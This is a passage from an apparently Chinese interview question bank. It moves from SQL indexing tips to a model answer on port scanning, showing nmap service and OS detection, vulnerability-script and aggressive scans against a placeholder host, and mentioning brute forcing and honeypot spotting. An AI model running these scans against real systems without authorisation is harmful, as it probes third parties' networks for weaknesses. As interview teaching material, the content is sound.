2  CREATE INDEX idx_username ON users(username);
3
4  -- 联合索引
5  CREATE INDEX idx_name_age ON users(name, age);
6
7  -- 唯一索引
8  CREATE UNIQUE INDEX idx_email ON users(email);
```

调优方法：

1. **使用EXPLAIN分析查询**：查看是否走索引、扫描行数等
2. **避免索引失效**：
 - 避免对索引列使用函数或运算
 - 避免隐式类型转换
 - 遵循最左前缀原则（联合索引）
 - 避免 `LIKE '%keyword'` 前导模糊查询
3. **覆盖索引**：查询的字段都在索引中，避免回表
4. **索引选择性**：选择性高的字段更适合建索引
5. **避免过多索引**：索引会降低写入性能，占用存储空间
6. **定期分析**：使用 `ANALYZE TABLE` 更新统计信息

第60题：端口扫描与协议分析

问题：你做端口扫描的时候，有没有做协议分析？

标准答案：

端口扫描中的协议分析：

1. **服务版本识别 (-sV)**：

```
1 | nmap -sV target.com
```

- 通过发送探测包，获取服务Banner信息
- 识别服务名称和版本号
- 匹配CVE漏洞数据库

2. **操作系统检测 (-O)**：

```
1 | nmap -O target.com
```

- 通过TCP/IP栈指纹识别操作系统类型和版本

3. 脚本扫描 (-sC/--script):

```
1 | nmap -sC target.com  
2 | nmap --script=vuln target.com
```

- 使用NSE (Nmap Scripting Engine) 脚本进行深度探测
- 漏洞检测、暴力破解、信息收集

4. 协议分析内容:

- **Banner抓取:** 获取服务标识信息 (如 SSH-2.0-OpenSSH_8.2)
- **协议握手分析:** 分析TLS/SSL证书信息
- **服务指纹识别:** 通过协议特征判断具体服务
- **异常协议行为检测:** 识别伪装服务或蜜罐

5. 常用协议分析技巧:

- 对Web端口 (80/443/8080等) 进行HTTP/HTTPS指纹分析
- 对数据库端口进行协议握手分析
- 对非常规端口的服务进行协议识别
- 使用 `nmap -A` 进行综合扫描 (OS+版本+脚本+路由追踪)

6. 深度分析:

- 使用Wireshark对扫描流量进行分析
- 分析协议交互过程中的异常
- 识别服务真实类型 (可能非标准端口运行标准服务)